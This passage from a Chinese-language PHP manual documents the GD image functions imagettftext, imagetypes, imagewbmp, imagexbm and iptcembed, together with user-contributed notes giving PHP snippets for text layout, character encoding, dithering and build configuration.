   $tmp_bbox["width"] = max($bbox[0],$bbox[2],$bbox[4],$bbox[6]) - min($bbox[0],$bbox[2],$bbox[4],$bbox[6]);
   $tmp_bbox["height"] = max($bbox[1],$bbox[3],$bbox[5],$bbox[7]) - min($bbox[1],$bbox[3],$bbox[5],$bbox[7]);

   return $tmp_bbox;
}
?>

However, be aware that this might not be very useful, as gd-2.0.8 introduces a bug which renders the results of imagettfbbox() useless when the text is rotated. This is still not fixed in the the php-4.3.4 bundled version (2.0.15 compatible).
MagicalTux at FF.ST
23-Dec-2003 04:09
One use of this function is to do some WordWrap =p

I wrote a little function to make a basic wordwrap : it returns an array with each line in a row.

You just have to display each row on a different line (calling many times imagettftext) to get a good result.
The character ^ is assumed as a linebreak.

<?php

function im_wordwrap($txt,$font,$size,$width) {
   $sep=array(' ','-'); // separators
   $res=array();
   $buf='';
   // main function loop
   for($i=0;$i<strlen($txt);$i++) {
       $l=$txt{$i};
       if ($l=='^') {
           $res[]=$buf;
           $buf='';
           continue;
       }
       $t=$buf.$l;
       $bbox=imagettfbbox($size,0,$font,$t);
       $left=($bbox[0]>$bbox[6])?$bbox[6]:$bbox[0]; // determine most far points
       $right=($bbox[2]>$bbox[4])?$bbox[2]:$bbox[4]; // idem
       $w=$right-$left; // get total width
       if ($w>$width) {
           if ($buf=='') return false; // FATAL: 1 letter is smallest than the pixel width - avoid infinite loop
           // we can assume that everything present in $buf currently is inside our limits
           // find a separator in string
           $fp=false;
           foreach($sep as $s) {
               $p=strrpos($buf,$s);
               if (($p!==false) and ($p>$fp)) $fp=$p;
           }
           if ($fp===false) {
               // let's break here !
               $res[]=$buf;
               $buf='';
               $i--; // dececrase $i to retry this letter
               continue;
           }
           // $fp+1 -> we put the separator char at the end of the prev. line =p
           $res[]=substr($buf,0,$fp+1);
           $buf=substr($buf,$fp+1);
           $i--;
           continue;
       }
       $buf.=$l;
   }
   if ($buf!='') $res[]=$buf;
   return $res;
}
?>
php at deathz0rz dot homeunix dot net
14-Dec-2003 10:38
The array this function returns is very strange, at least, i think so... So i created this function that 'fixes' the bounding box array into some human-understandable format

<?php
function fixbbox($bbox)
{
   $xcorr=0-$bbox[6]; //northwest X
   $ycorr=0-$bbox[7]; //northwest Y
   $tmp_bbox['left']=$bbox[6]+$xcorr;
   $tmp_bbox['top']=$bbox[7]+$ycorr;
   $tmp_bbox['width']=$bbox[2]+$xcorr;
   $tmp_bbox['height']=$bbox[3]+$ycorr;

   return $tmp_bbox;
}
?>
Brian at NOSPAM at PrintsMadeEasy dot com
05-Sep-2002 04:12
There seems to be a little confusion regarding the font coordinate system.  PHP's TTF functions will make more sense after you understand the principals of font creation.  This guy wrote a really good overview...
http://pfaedit.sourceforge.net/overview.html
add a note add a note

后退 | 起点 | 前进
imagetruecolortopalette | 上一级 | imagettftext


imagettftext

(PHP 3, PHP 4, PHP 5)

imagettftext -- 用 TrueType 字体向图像写入文本

说明

array imagettftext ( resource image, float size, float angle, int x, int y, int color, string fontfile, string text )

image

图像资源。见 imagecreatetruecolor()。

size

字体大小。根据 GD 版本不同，应该以像素大小指定（GD1）或点大小（GD2）。

angle

角度制表示的角度，0 度为从左向右读的文本。更高数值表示逆时针旋转。例如 90 度表示从下向上读的文本。

x

由 x，y 所表示的坐标定义了第一个字符的基本点（大概是字符的左下角）。这和 imagestring() 不同，其 x，y 定义了第一个字符的左上角。例如 "top left" 为 0, 0。

y

Y 坐标。它设定了字体基线的位置，不是字符的最底端。

color

颜色索引。使用负的颜色索引值具有关闭防锯齿的效果。见 imagecolorallocate()。

fontfile

是想要使用的 TrueType 字体的路径。

根据 PHP 所使用的 GD 库的不同，当 fontfile 没有以 / 开头时则 .ttf 将被加到文件名之后并且会在库定义字体路径中尝试搜索该文件名。

当使用的 GD 库版本低于 2.0.18 时，一个空格字符 而不是分号将被用来作为不同字体文件的“路径分隔符”。不小心使用了此特性将会导致一条警告信息：Warning: Could not find/open font。对受影响的版本来说唯一解决方案就是将字体移动到不包含空格的路径中去。

很多情况下字体都放在脚本的同一个目录下。下面的小技巧可以减轻包含的问题。
<?php
// Set the enviroment variable for GD
putenv('GDFONTPATH=' . realpath('.'));

// Name the font to be used (note the lack of the .ttf extension)
$font = 'SomeFont';
?>

text

文本字符串。

可以包含十进制数字化字符表示（形式为：&#8364;）来访问字体中超过位置 127 的字符。UTF-8 编码的字符串可以直接传递。

如果字符串中使用的某个字符不被字体支持，一个空心矩形将替换该字符。

imagettftext() 返回一个含有 8 个单元的数组表示了文本外框的四个角，顺序为坐下角，右下角，右上角，左上角。这些点是相对于文本的而和角度无关，因此“左上角”指的是以水平方向看文字时其左上角。

例子 1. imagettftext() 例子

本例中的脚本将生成一个白色的 400x30 像素 PNG 图像，其中有黑色（带灰色阴影）Arial 字体写的“Testing...”。

<?php
// Set the content-type
header("Content-type: image/png");

// Create the image
$im = imagecreatetruecolor(400, 30);

// Create some colors
$white = imagecolorallocate($im, 255, 255, 255);
$grey = imagecolorallocate($im, 128, 128, 128);
$black = imagecolorallocate($im, 0, 0, 0);

// The text to draw
$text = 'Testing...';
// Replace path by your own font path
$font = 'arial.ttf';

// Add some shadow to the text
imagettftext($im, 20, 0, 11, 21, $grey, $font, $text);

// Add the text
imagettftext($im, 20, 0, 10, 20, $black, $font, $text);

// Using imagepng() results in clearer text compared with imagejpeg()
imagepng($im);
imagedestroy($im);
?>

本函数同时需要 GD 库和 FreeType 库。

参见 imagettfbbox()。

add a note add a note User Contributed Notes
admin at sgssweb dot com
01-May-2006 07:08
Another way of the bellow. After creating a child class of GMIPluggableSet class, which should override two method: getExpression() and getVariables(), throw it to a instance of FontImageGenerator class.
For example, the code follows:

<?php

require_once 'package.fig.php';

class SampleFontImagePluggableSet
   extends GMIPluggableSet
{
   var $defaultVariables = array(
       "text" => null,
       "size" => null,
       "font" => null,
       "color" => "0x000000",
       "alpha" => "100",
       "padding" => 0,
       "width" => null,
       "height" => null,
       "align" => "left",
       "valign" => "middle",
       "bgcolor" => "0xffffff",
       "antialias" => 4
   );

   function SampleFontImagePluggableSet() {
       parent::GMIPluggableSet();
   }

   function getExpression() {
       return "size {width}, {height};".
               "autoresize none;".
               "type gif, 256, {color: {bgcolor}};".
               "padding {padding};".
               "color {color: {bgcolor}};".
               "fill;".
               "color {color: {color}, {alpha}};".
               "antialias {antialias};".
               "font {font}, {size};".
               "string {text}, 0, 0, {width}, {height}, {align}, {valign};";
   }

   function getVariables() {
       return array_merge($this->defaultVariables, $_GET);
   }
}

$pluggableSet = new SampleFontImagePluggableSet();
$fig = new FontImageGenerator();
$fig->setPluggableSet($pluggableSet);
$fig->execute();

?>

This output a image with the text defined in $_GET['text'], the font in $_GET['font'], the text color in $_GET['color'], the background in $_GET['bgcolor'], and so on.

The script file is available at: http://sgssweb.com/experiments/?file=PHPFontImageGenerator .
admin at sgssweb dot com
30-Apr-2006 02:17
I wrote two classes: PHP Abstract Drawing Toolkit and PHP Graphics, the elements of PHP Font Image Generator2. An instance of the class Graphics can draw multi-sampling antialiased text, 7 horizontal alignment of text box (left, center, right, left-adjust, center-adjust, right-adjust, adjust), 3 vertical alignment (top, middle, bottom), and other Java-like methods.

<?php
require_once "package.graphics.php";

$canvas = new Canvas();
$canvas->setSize(400, 400);
$g =& $canvas->getGraphics();
$g->setColor(new Color(0xffffff));
$g->fill();
$g->setColor(new Color(0, 0, 0, 80));
$g->setFont(new Font($_POST['font'], 20));
$g->drawString($_POST['text'], 0, 0, 400, 400, 'center-adjust', 'middle');
$canvas->complete();
$canvas->output();

?>

The class script is here.
http://sgssweb.com/experiments/?file=PHPFontImageGenerator2
jpetsel at riverviewtech dot net
28-Apr-2006 03:06
I was looking at ugo's center and it was great for left to right centering, but it wouldn't center up and down.  So with some changes to suit my needs this is what I came up with.  Some of the notations are just for my edifcation so may mean nothing for you all but you will see I added a $posy that helps with centering up and down.  I was also feeding my feilds from a form.

<?php
// Set the content-type
header("Content-type: image/png");

//1line per column
$text=array(0=>$_POST['linei'],1=>$_POST['lineii'],
2=>$_POST['lineiii'],3=>$_POST['lineiv'],4=>$_POST['linev']);

$Image_Width=400;
$Text_Size=$_POST['textsize'];
$Image_Height=400;

// Create the image
$im = imagecreatetruecolor ($Image_Width, $Image_Height); /* Create a blank image */

// Create some colors
$white = imagecolorallocate($im, 255, 255, 255);
$grey = imagecolorallocate($im, 128, 128, 128);
$black = imagecolorallocate($im, 0, 0, 0);
imagefilledrectangle($im, 1, 1, 398, 398, $white);

// Replace path by your own font path
$font = $_POST['font_name'];

for ($i=0; $i < sizeof($text); $i++) {

   //Center the text
   $Text_Box_Size = imagettfbbox($Text_Size, 0, $font, $text[$i]);
   $Text_Box_Width = abs($Text_Box_Size[2] + $Text_Box_Size[0]);
   $Text_Box_Height = abs($Text_Box_Size[7] + $Text_Box_Size[1]);
   $Text_Height = $Text_Height + $Text_Box_Height;
   $posx = ($Image_Width - $Text_Box_Width) / 2;
   $posy = ($Image_Height - $Text_Box_Height * sizeof($text)) / 2 + $Text_Height;

   /*
   Add the text (***array imagettftext ( resource image, float size, float angle,
   int x, int y, int color, string fontfile, string text )***)
   */

   imagettftext($im, $Text_Size, 0, $posx, $posy, $black, $font, $text[$i]);
}

// Using imagepng() results in clearer text compared with imagejpeg()
imagepng($im);
imagedestroy($im);
?>
ugo dot quaisse at gmail dot com
19-Apr-2006 09:03
This is a script that aim at center the (multi) lines :

<?php
header("Content-type: image/png");

//1line per column
$text=array(0=>"line 1",1=>"line 2");

$largeur=500;
$line_height=30;
$hauteur=sizeof($text)*$line_height;

// Create the image
$im = imagecreatetruecolor($largeur, $hauteur);

// Create some colors
$white = imagecolorallocate($im, 255, 255, 255);
$grey = imagecolorallocate($im, 225, 225, 225);
$blue = imagecolorallocate($im, 0, 62, 126);
imagefilledrectangle($im, 0, 0, $largeur, $hauteur, $white);

// Replace path by your own font path
$font = 'font.ttf';

for($i=0;$i<=sizeof($text);$i++) {
//Center the text
$size = imagettfbbox(20, 0, $font, $text[$i]);
$long_text = $size[2]+$size[0];
$posx=($largeur-$long_text)/2;
// Add the text
imagettftext($im, 20, 0, $posx, $line_height+$line_height*$i, $blue, $font, $text[$i]);
}

imagepng($im);
imagedestroy($im);
?>
mats dot engstrom at gmail dot com
28-Mar-2006 06:23
I'll second the note from --colobri--.

Just adding --with-ttf and --with-freetype-dir=/usr/lib/ on the ./configure and then doing a "make; make install" is not enough.

I had to do a "make clean" and then a "make install" in order to get the FreeType-support enabled.

Here are my relevant ./configure lines:
--with-gd \
--enable-gd-native-ttf \
--with-ttf \
--with-freetype-dir=/usr/lib/ \
--with-jpeg-dir=/usr/lib/libjpeg.so.62 \
--enable-exif \
admin at phpru dot com
01-Mar-2006 01:52
On my conf: php5.1.2+apache 1.33
iconv() function works very well with all cyrillic encodings, so you needn't to write your function like win2uni
--Colibri--
29-Jan-2006 04:53
If you have configured and compiled PHP with all the necessary command-line options and still get the error:

Fatal error: Call to undefined function imagettftext()

Try doing a "make clean"  before building the php apache module:

./configure [...]
make clean
make
make install

This may solve your problem (and hopefully keep you from wasting hours trying different compile options!)
nospam at nospam dot nospam
23-Jan-2006 07:51
I've found that upsampling your text by a factor of 8 or more can really improve the readability of generated text, especially in smaller font sizes (9 or less). I find it also helps with fonts that have kerning to reduce space between letters such as capital T and capital A (TA) where the top-right of the T will be cut off due to GD "features".

I can't tell you, the reader, exactly how to do this, as it will depend on how you are currently generating your text, but essentially what you want to try doing is upsize your font by a factor of 8 and then scale down the resulting image by the same factor.

So if you were using font size 10, use font size 80 and use imagecopyresampled() to divide the width/height down again by 8. The resulting image will be a few pixels different in width / height compared to direct text writing, so make sure to check your image sizes if you are using fixed dimensions.

Play around with other factors, 16 is a bit nicer but results in a higher CPU/RAM load when processing. Any higher is unnecessary I think. If possible you should also cache the image to a file instead of reprocessing it each request.
Mer`Zikain
11-Jan-2006 04:41
I was looking for a way to add kerning to my text and finally just made this function to do it. Of course, if you're generating the size of the image based on the text you're putting in it, you'll have to figure out the new size to fit the new text width but I'm sure you can figure that out.

for($i=0;$i<strlen($text);$i++){
       // Get single character
   $value=substr($text,$i,1);
   if($pval){ // check for existing previous character
       list($lx,$ly,$rx,$ry) = imagettfbbox($fontsize,0,$font,$pval);
       $nxpos+=$rx+3;
   }else{
       $nxpos=0;
   }
       // Add the letter to the image
   imagettftext($im, $fontsize, 0, $nxpos, $ypos, $fontcolor, $font, $value);
   $pval=$value; // save current character for next loop
}
webmaster at oxygenws dot com
18-Dec-2005 06:28
Developers who want to write Persian(Farsi) or Arabic characters to the image can use the following function.
http://developer.berlios.de/projects/persian-log2vis/
a4W
24-Oct-2005 03:28
This function will make your text bold:
<?php
function drawboldtext($image, $size, $angle, $x_cord, $y_cord, $r, $g, $b, $fontfile, $text)
{
   $color = ImageColorAllocate($image, $r, $g, $b);
   $_x = array(1, 0, 1, 0, -1, -1, 1, 0, -1);
   $_y = array(0, -1, -1, 0, 0, -1, 1, 1, 1);
   for($n=0;$n<=8;$n++)
   {
     ImageTTFText($image, $size, $angle, $x_cord+$_x[$n], $y_cord+$_y[$n], $color, $fontfile, $text);
   }
}
?>
limalopex.eisfux.de
04-Oct-2005 12:17
If you have problems displaying german umlauts or other chars with an ascii value > 127, try to convert the text-parameter first. The following function converts character-values > 127 (both: UTF-8 + ANSI) to HTML's numeric coded entities:

<?php
define('EMPTY_STRING', '');

function foxy_utf8_to_nce(
  $utf = EMPTY_STRING
) {
  if($utf == EMPTY_STRING) return($utf);

  $max_count = 5; // flag-bits in $max_mark ( 1111 1000 == 5 times 1)
  $max_mark = 248; // marker for a (theoretical ;-)) 5-byte-char and mask for a 4-byte-char;

  $html = EMPTY_STRING;
  for($str_pos = 0; $str_pos < strlen($utf); $str_pos++) {
   $old_chr = $utf{$str_pos};
   $old_val = ord( $utf{$str_pos} );
   $new_val = 0;

   $utf8_marker = 0;

   // skip non-utf-8-chars
   if( $old_val > 127 ) {
     $mark = $max_mark;
     for($byte_ctr = $max_count; $byte_ctr > 2; $byte_ctr--) {
       // actual byte is utf-8-marker?
       if( ( $old_val & $mark  ) == ( ($mark << 1) & 255 ) ) {
         $utf8_marker = $byte_ctr - 1;
         break;
       }
       $mark = ($mark << 1) & 255;
     }
   }

   // marker found: collect following bytes
   if($utf8_marker > 1 and isset( $utf{$str_pos + 1} ) ) {
     $str_off = 0;
     $new_val = $old_val & (127 >> $utf8_marker);
     for($byte_ctr = $utf8_marker; $byte_ctr > 1; $byte_ctr--) {

       // check if following chars are UTF8 additional data blocks
       // UTF8 and ord() > 127
       if( (ord($utf{$str_pos + 1}) & 192) == 128 ) {
         $new_val = $new_val << 6;
         $str_off++;
         // no need for Addition, bitwise OR is sufficient
         // 63: more UTF8-bytes; 0011 1111
         $new_val = $new_val | ( ord( $utf{$str_pos + $str_off} ) & 63 );
       }
       // no UTF8, but ord() > 127
       // nevertheless convert first char to NCE
       else {
         $new_val = $old_val;
       }
     }
     // build NCE-Code
     $html .= '&#'.$new_val.';';
     // Skip additional UTF-8-Bytes
     $str_pos = $str_pos + $str_off;
   }
   else {
     $html .= chr($old_val);
     $new_val = $old_val;
   }
  }
  return($html);
}
?>
alexey at NOSPAMPLS dot ozerov dot de
31-Aug-2005 03:30
Notice that the path to the TrueType font has to be included in open_basedir list if open_basedir restriction is activated in php.ini.
gav-alex at bk dot ru
11-Aug-2005 12:05
Hi all!
When my hoster updated his php's libs at first minutes i've got the same problem as some of you.
Php couldn't find the path to true type fonts.
The solution in my case was to make the path look like this
<?php
imagettftext($im, 20, 0, 620, 260, $secondary_color, "./tahoma.ttf" , "NEWS");
?>
so as you can see i simply added "./"

another tip that i wanted to add here is how to write in RUssian on image using imagettftext
you simply have to change the function argument like this
<?php
imagettftext($im, 15, 0, 575, 300, $secondary_color, "./tahoma.ttf" , win2uni("some word in russian"));
 ?>
where win2uni is the function that converts win1251 to unicode. here is the code of it
<?php

  //  Windows 1251 -> Unicode
  function win2uni($s)
  {
   $s = convert_cyr_string($s,'w','i'); //  win1251 -> iso8859-5
   //  iso8859-5 -> unicode:
   for ($result='', $i=0; $i<strlen($s); $i++) {
     $charcode = ord($s[$i]);
     $result .= ($charcode>175)?"&#".(1040+($charcode-176)).";":$s[$i];
   }
   return $result;
  }
?>

That's all today! Thanks for your attention!
Alex
BuddyHacker
21-Jul-2005 05:55
A correction to Paul Reinheimer's note above regarding this PHP error:

Fatal error: Call to undefined function imagettftext().

Paul states that you need XPM libraries to resolve this issue.  This is not true.  There is an error message that originates from "configure" which mistakenly shows itself when other components are missing.  For instance, if you tell "configure" to add JPEG support, and it can't find the libraries, it will tell you it can't find the JPEG libraries AND it will recommend adding --with-xpm to solve the problem.  This recommendation is ill-placed and misleading.

I received the same error message above, along with the recommendation to add XPM supprt.  However I resolved it by adding the --with-freetype-dir  AND --enable-gd-native-ttf  options  to the "configure" command line.  I did _not_ need XPM.

There are other variations to this error message, such as the script recommending adding JPEG support or PNG support to resolve it's own inability to locate other libraries.  The script needs some cleanup in order to fix these poorly placed recommendations.

FYI, imagettftext() is a call to one of the truetype fonts functions.  It is NOT related in any way to the XPM libraries, so it is not required unless you explicitly want XPM functionality.
nick
01-Apr-2005 05:18
A trivial function to get right or centre aligned horizontal text:

function imagettftextalign($image, $size, $angle, $x, $y, $color, $font, $text, $alignment='L') {

   //check width of the text
   $bbox = imagettfbbox ($size, $angle, $font, $text);
   $textWidth = $bbox[2] - $bbox[0];
   switch ($alignment) {
       case "R":
           $x -= $textWidth;
           break;
       case "C":
           $x -= $textWidth / 2;
           break;
   }

   //write text
   imagettftext ($image, $size, $angle, $x, $y, $color, $font, $text);

}
erik[at]phpcastle.com
04-Mar-2005 08:46
Remember!!!

When uploading a font to your website you have to set the transfer mode to binary. It took me some time to find out :P. Tried to download the font from my website and it was spoiled.

In your script, the path to your font, use realpath("arial.ttf") so there is no confusion about that.
pillepop2003 at nospam dot yahoo dot de
12-Jan-2005 09:14
Hey guys,

check this function if you want to rotate the text around its center and not its "lower left" pivot-point:

<?php
       // Put center-rotated ttf-text into image
       // Same signature as imagettftext();
       function imagettftext_cr(&$im, $size, $angle, $x, $y, $color, $fontfile, $text)
       {
           // retrieve boundingbox
           $bbox = imagettfbbox($size, $angle, $fontfile, $text);

           // calculate deviation
           $dx = ($bbox[2]-$bbox[0])/2.0 - ($bbox[2]-$bbox[4])/2.0;        // deviation left-right
           $dy = ($bbox[3]-$bbox[1])/2.0 + ($bbox[7]-$bbox[1])/2.0;        // deviation top-bottom

           // new pivotpoint
           $px = $x-$dx;
           $py = $y-$dy;

           return imagettftext($im, $size, $angle, $px, $py, $color, $fontfile, $text);
       }

?>

Big up
Phil
Paul Reinheimer
20-Sep-2004 06:33
If you compiled PHP yourself but get an error:
Fatal error: Call to undefined function imagettftext().

You need to compile PHP with more options.

--with-gd
--enable-gd-native-ttf
--with-png
--with-zlib-dir=/usr/local/lib/zlib-1.2.1
--with-ttf
--with-jpeg-dir=/usr/local/lib/jpeg-6b/
--with-freetype-dir=/usr/local/lib/freetype-2.1.9/
--with-xpm-dir=/usr/X11R6/

The next set deal with setting up GD, and the appropriate options. Just enabling GD, ttf, png & jpeg is NOT enough. You also need Freetype and XPM.
plusplus7 at hotmail dot com
16-Jul-2004 04:37
If you are getting all rectangles instead of text, it may well mean that your ttf font is not opentype, particularly if it is an older freeware one. This requirement didn't exist in older versions so you may find that your font stops working after you upgrade. To fix this problem, try downloading the free MS Volt utility. From there, open your font file, and then click on Compile, and resave.
03-Dec-2002 03:13
If you have an older version of the GD library, but wish to use a font file which has spaces in the path, you should convert the path into DOS style names. This will only work on windows.

For example:
C:\reallylongpath\reallylongpath\font.ttf
Would become:
C:\really~1\really~1\font.ttf
imacs at email dot com
06-Apr-2000 05:16
To make it support chinese and japanese fonts, have a look here.
* http://www.freshmeat.net/appindex/1999/12/27/946305846.html
add a note add a note

后退 | 起点 | 前进
imagettfbbox | 上一级 | imagetypes


imagetypes

(PHP 3 CVS only, PHP 4 >= 4.0.2, PHP 5)

imagetypes -- 返回当前 PHP 版本所支持的图像类型

说明

int imagetypes ( void )

本函数以比特字段方式返回与当前 PHP 版本关联的 GD 库所支持的图像格式。将返回以下结果，IMG_GIF | IMG_JPG | IMG_PNG | IMG_WBMP| IMG_XPM。 例如要检查是否支持 PNG，这样做：

例子 1. imagetypes() 例子

<?php
if (imagetypes() & IMG_PNG) {
    echo "PNG Support is enabled";
}
?>

add a note add a note User Contributed Notes
enyo
06-Nov-2003 11:32
Why not use this function?

<?php
function getSupportedImageTypes() {
   $aSupportedTypes = array();

   $aPossibleImageTypeBits = array(
       IMG_GIF=>'GIF',
       IMG_JPG=>'JPG',
       IMG_PNG=>'PNG',
       IMG_WBMP=>'WBMP'
   );

   foreach ($aPossibleImageTypeBits as $iImageTypeBits => $sImageTypeString) {
       if (imagetypes() & $iImageTypeBits) {
           $aSupportedTypes[] = $sImageTypeString;
       }
   }

   return $aSupportedTypes;
}
?>
jocke at selincite dot IHATESP4M dot com
17-Oct-2003 05:56
I wrote this function that returns an array with the supported image types

<?php
function getSupportedImageTypes() {
       $aSupportedTypes = array();

       $aPossibleImageTypeBits = array(
               "IMG_GIF",
               "IMG_JPG",
               "IMG_PNG",
               "IMG_WBMP"
           );

       foreach ($aPossibleImageTypeBits as $iIndex => $sImageTypeBits) {

           $sEval  = "if (";
           $sEval .= "imagetypes() & " . $sImageTypeBits . "";
           $sEval .= ") { return TRUE; } else { return FALSE; }";

           if (eval($sEval)) {
               $aSupportedTypes[] = str_replace("IMG_", "", $sImageTypeBits);
           }
       }

       return $aSupportedTypes;
   }
?>
Hope that helps someone :)

/Jocke Selin

PS, if you know of a better way that doesn't include eval(), please let me know.
jaldinger (at) consulturdorado (dot) com
09-Jan-2003 04:31
Please note that if only "GIF Read Support" is enabled, the
IMG_GIF bit will not be returned (at least on my system:
PHP 4.3.0/RH Linux 7.2).

To work around this issue, and also the issue that there is no
function that can tell me what image format a GD resource ID
refers to, I use the following switch statement to map the exif
IMAGETYPE_* constants to the GD IMG_* constants:

switch (exif_imagetype($file['tmp_name'])) {
   case IMAGETYPE_GIF:
       $image_type = IMG_GIF;
       break;
   case IMAGETYPE_JPEG:
       $image_type = IMG_JPG;
       break;
   case IMAGETYPE_PNG:
       $image_type = IMG_PNG;
       break;
   case IMAGETYPE_WBMP:
       $image_type = IMG_WBMP;
       break;
     default:
       $image_type = 0;
       break;
}

store this value together with the image data in a database
and later use the following IF statement to see if I can work
with that image (create a thumbnail, etc...)

if ($image_type & (imagetypes() | IMG_GIF)) {
   return $this->createJpegThumbailFromString($data, 46, 27);
} else {
   return file_get_contents($_SERVER['DOCUMENT_ROOT'] .
       '/gfx/no-thumbnail.jpg');
}

HTH anybody...

Joerg.
add a note add a note

后退 | 起点 | 前进
imagettftext | 上一级 | imagewbmp


imagewbmp

(PHP 3 >= 3.0.15, PHP 4 >= 4.0.1, PHP 5)

imagewbmp -- 以 WBMP 格式将图像输出到浏览器或文件

说明

bool imagewbmp ( resource image [, string filename [, int foreground]] )

imagewbmp() 从 image 图像创建一个名为 filename 的 WBMP 文件。image 参数是 imagecreatetruecolor() 的返回值。

filename 参数是可选项，如果省略，则直接将原图像流输出。通过用 header() 发送 image/vnd.wap.wbmp 的 Content-type，可以创建直接输出 WBMP 图像的 PHP 脚本。

注: WBMP 支持仅能用于 PHP 编译时加入了 GD-1.8 或更高版本时。

用可选的 foreground 参数可以设定前景色，用 imagecolorallocate() 函数返回的颜色标识符。默认前景色是黑色。

参见 image2wbmp()，imagepng()，imagegif()，imagejpeg() 和 imagetypes()。

add a note add a note User Contributed Notes
lukeross at sys3175 dot co dot uk
01-Mar-2002 05:57
As has been commented before, GD doesnt do a very good translation to 2-colours, especially for photos.  The following routine converts to two colours, I believe using error diffusion (the algorithm's nicked off news).  It's slow, but just about adequate for small images and low load.  I suspect it can be made much more efficient :-)

function ImageColorFloydSteinberg($dst_img, $src_img) {
   ImageColorAllocate($dst_img, 0,0,0);
   ImageColorAllocate($dst_img, 255,255,255);
   $grey_img = ImageCreate(ImageSX($src_img), ImageSY($src_img));
   for ($a = 0; $a <= 255; $a++) ImageColorAllocate($grey_img, $a,$a,$a);
   for($x = 0; $x <= ImageSX($src_img); $x++) {
       for($y = 0; $y <= ImageSY($src_img); $y++) {
           $color = ImageColorsForIndex($src_img, ImageColorAt($src_img, $x, $y));
           $greyscale = .299 * $color["red"] + .587 * $color["green"] + .114 * $color["blue"];
           ImageSetPixel($grey_img, $x, $y, ImageColorClosest($grey_img, $greyscale, $greyscale, $greyscale));
       }
   }
   for($x = 0; $x <= ImageSX($src_img); $x++) {
       for($y = 0; $y <= ImageSY($src_img); $y++) {
           $color = ImageColorsForIndex($grey_img, ImageColorAt($grey_img, $x, $y));
           if ($color["red"] > 128) {
               ImageSetPixel($dst_img, $x, $y, ImageColorClosest($dst_img,255,255,255));
               $err = $color["red"] - 255;
           } else {
               ImageSetPixel($dst_img, $x, $y, ImageColorClosest($dst_img,0,0,0));
               $err = $color["red"];
           }
           if ($x != ImageSx($src_img)) {
               $color2 = ImageColorsForIndex($grey_img, ImageColorAt($grey_img, $x+1, $y));
               $newgrey = $color2["red"] + $err * 7 / 16;
               ImageSetPixel($grey_img, $x+1, $y, ImageColorClosest($grey_img,$newgrey, $newgrey, $newgrey));
           }
           if ($x != 0) {
               $color2 = ImageColorsForIndex($grey_img, ImageColorAt($grey_img, $x-1, $y));
               $newgrey = $color2["red"] + $err * 3 / 16;
               ImageSetPixel($grey_img, $x-1, $y, ImageColorClosest($grey_img,$newgrey, $newgrey, $newgrey));
           }
           if ($y != ImageSy($src_img)) {
               $color2 = ImageColorsForIndex($grey_img, ImageColorAt($grey_img, $x, $y+1));
               $newgrey = $color2["red"] + $err * 5 / 16;
               ImageSetPixel($grey_img, $x, $y+1, ImageColorClosest($grey_img,$newgrey, $newgrey, $newgrey));
           }
           if ($x != ImageSx($src_img) && $y != ImageSy($src_img)) {
               $color2 = ImageColorsForIndex($grey_img, ImageColorAt($grey_img, $x+1, $y+1));
               $newgrey = $color2["red"] + $err / 16;
               ImageSetPixel($grey_img, $x+1, $y+1, ImageColorClosest($grey_img,$newgrey, $newgrey, $newgrey));
           }

       }
   }
   imagedestroy($grey_img);
}

To output your WBMP, use

ImageWBMP($final_img, "", ImageColorClosest(255,255,255));
marius
17-Jul-2001 08:10
You could also use:

@ImageWbmp ($im, "test.wbmp");

But I haven't test ist yet
flapper at redcube dot nl
23-May-2001 06:34
There is a hidden third parameter in the ImageWbmp function that serves as a threshold-holder. When using the function as in:

ImageWbmp ($im, "test.wbmp");

it generates a warning:

Warning: imagewbmp: invalid threshold value '-1'. It must be between 0 and 255 in blablabla

It does generate the image though but for a WML app. it cannot be used since the warning is laden with HTML-tags. To prevent the warning use the following example:

ImageWbmp ($im, "test.wbmp", 0);

The warning is no longer generated.
add a note add a note

后退 | 起点 | 前进
imagetypes | 上一级 | imagexbm


imagexbm

(PHP 5)

imagexbm -- 将 XBM 图像输出到浏览器或文件

说明

bool imagexbm ( resource image, string filename [, int foreground] )

警告

本函数暂无文档，仅有参数列表。

注: 本函数仅在 PHP 与其捆绑的 GD 库一起编译时可用。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
imagewbmp | 上一级 | iptcembed


iptcembed

(PHP 3 >= 3.0.7, PHP 4, PHP 5)

iptcembed -- 将二进制 IPTC 数据嵌入到一幅 JPEG 图像中

说明

mixed iptcembed ( string iptcdata, string jpeg_file_name [, int spool] )

警告

本函数暂无文档，仅有参数列表。

add a note add a note User Contributed Notes
thomas at anakrome dot net
05-Jul-2005 12:02
here is a small code to remove all header from a jpg file, including IPTC, Exif, XMP...

function remove_XMP($image_in, $image_dest) {
  $filename_in = addslashes($image_in);
  list($width, $height) = getimagesize($filename_in);
  $image_dest = imagecreatetruecolor($width, $height);
  $image = imagecreatefromjpeg($filename_in);
  imagecopyresampled($image_dest, $image, 0, 0, 0, 0,  $width, $height,
  $width, $height);
  imagejpeg($image_dest, $filename);
}

the problem comes from Photoshop CS cannot read IPTC if XMP is present.
removing XMP and other header _before_ adding IPTC with iptcembed is a good way.
muguran
13-May-2005 04:41
Pay attention not add codes with length of value equal to 0; the behavior could be strange...
(e.g. $iptc_old["2#015"][0] = "")
evan at nospam dot ozhiker dot com
10-Aug-2004 12:53
You might have noticed that several metadata fields in Photoshop are not available via IPTC.
Also, Photoshop now uses XMP for it's primary metadata, meaning IPTC is only read by Photoshop if XMP is not present.

I have written a library "PHP JPEG Metadata Toolkit" which bypasses this problem as it allows reading, writing and interpreting of virtually any type of metadata, including XMP, IPTC and EXIF.

Try it out, and download it at:
http://www.ozhiker.com/electronics/pjmt/index.html
dj dot cyberdance at gmx dot at
30-May-2004 09:47
Yep it's me again :-) After some time I spent searching around for other possibilities to write IPTC fields to JPEG files I found this one:

http://www.zonageek.com/software/php/jpeg/index.php

This one seems to work pretty fine, remember that you have to install PEAR to get this running (Debian package php4-pear).
dj dot cyberdance at gmx dot at
06-May-2004 07:29
I've spent a whole day debugging my code (that was based on the example below, posted by knut) until I found out, that iptcembed() only works if the image specified in jpeg_file_name already has IPTC fields included.

That means that you cannot write IPTC fields in a jpeg file without preexisting IPTC information in it.

Updating of IPTC fields also worked only with a few files, I don't really know what it depends on whether it works or not. (Well, it depends on the IPTC header, that's for sure :-)

I'm using PHP 4.2.1, maybe this is fixed in more recent versions, but I don't believe...

Nevertheless, here's some piece of code I tried:

I replaced the line

<?
$iptc_old = iptcparse ($info["APP13"]);
?>

from knut's example below with

<?
$iptc_old["2#000"][0] = chr(0) . chr(2);
?>

